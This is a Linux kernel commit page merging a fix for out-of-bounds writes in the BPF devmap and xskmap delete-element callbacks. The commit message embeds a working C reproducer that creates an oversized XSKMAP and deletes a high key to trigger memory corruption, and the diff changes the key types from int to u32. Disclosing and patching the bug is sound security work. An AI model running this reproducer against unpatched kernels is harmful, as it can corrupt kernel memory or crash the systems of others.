Skip to content

Commit 7ca0884

Browse files
author
Alexei Starovoitov
committed
Merge branch 'bpf-fix-oob-accesses-in-map_delete_elem-callbacks'
Maciej Fijalkowski says: ==================== bpf: fix OOB accesses in map_delete_elem callbacks v1->v2: - CC stable and collect tags from Toke & John Hi, Jordy reported that for big enough XSKMAPs and DEVMAPs, when deleting elements, OOB writes occur. Reproducer below: // compile with gcc -o map_poc map_poc.c -lbpf #include <errno.h> #include <linux/bpf.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/syscall.h> #include <unistd.h> int main() { // Create a large enough BPF XSK map int map_fd; union bpf_attr create_attr = { .map_type = BPF_MAP_TYPE_XSKMAP, .key_size = sizeof(int), .value_size = sizeof(int), .max_entries = 0x80000000 + 2, }; map_fd = syscall(SYS_bpf, BPF_MAP_CREATE, &create_attr, sizeof(create_attr)); if (map_fd < 0) { fprintf(stderr, "Failed to create BPF map: %s\n", strerror(errno)); return 1; } // Delete an element from the map using syscall unsigned int key = 0x80000000 + 1; if (syscall(SYS_bpf, BPF_MAP_DELETE_ELEM, &(union bpf_attr){ .map_fd = map_fd, .key = &key, }, sizeof(union bpf_attr)) < 0) { fprintf(stderr, "Failed to delete element from BPF map: %s\n", strerror(errno)); return 1; } close(map_fd); return 0; } This tiny series changes data types from int to u32 of keys being used for map accesses. Thanks, Maciej ==================== Link: https://patch.msgid.link/[email protected] Signed-off-by: Alexei Starovoitov <[email protected]>
2 parents 20a39ea + ab244dd commit 7ca0884

File tree

2 files changed

+4
-4
lines changed

2 files changed

+4
-4
lines changed

kernel/bpf/devmap.c

Lines changed: 3 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -184,7 +184,7 @@ static struct bpf_map *dev_map_alloc(union bpf_attr *attr)
184184
static void dev_map_free(struct bpf_map *map)
185185
{
186186
struct bpf_dtab *dtab = container_of(map, struct bpf_dtab, map);
187-
int i;
187+
u32 i;
188188

189189
/* At this point bpf_prog->aux->refcnt == 0 and this map->refcnt == 0,
190190
* so the programs (can be more than one that used this map) were
@@ -821,7 +821,7 @@ static long dev_map_delete_elem(struct bpf_map *map, void *key)
821821
{
822822
struct bpf_dtab *dtab = container_of(map, struct bpf_dtab, map);
823823
struct bpf_dtab_netdev *old_dev;
824-
int k = *(u32 *)key;
824+
u32 k = *(u32 *)key;
825825

826826
if (k >= map->max_entries)
827827
return -EINVAL;
@@ -838,7 +838,7 @@ static long dev_map_hash_delete_elem(struct bpf_map *map, void *key)
838838
{
839839
struct bpf_dtab *dtab = container_of(map, struct bpf_dtab, map);
840840
struct bpf_dtab_netdev *old_dev;
841-
int k = *(u32 *)key;
841+
u32 k = *(u32 *)key;
842842
unsigned long flags;
843843
int ret = -ENOENT;
844844

net/xdp/xskmap.c

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -224,7 +224,7 @@ static long xsk_map_delete_elem(struct bpf_map *map, void *key)
224224
struct xsk_map *m = container_of(map, struct xsk_map, map);
225225
struct xdp_sock __rcu **map_entry;
226226
struct xdp_sock *old_xs;
227-
int k = *(u32 *)key;
227+
u32 k = *(u32 *)key;
228228

229229
if (k >= map->max_entries)
230230
return -EINVAL;

0 commit comments

Comments
 (0)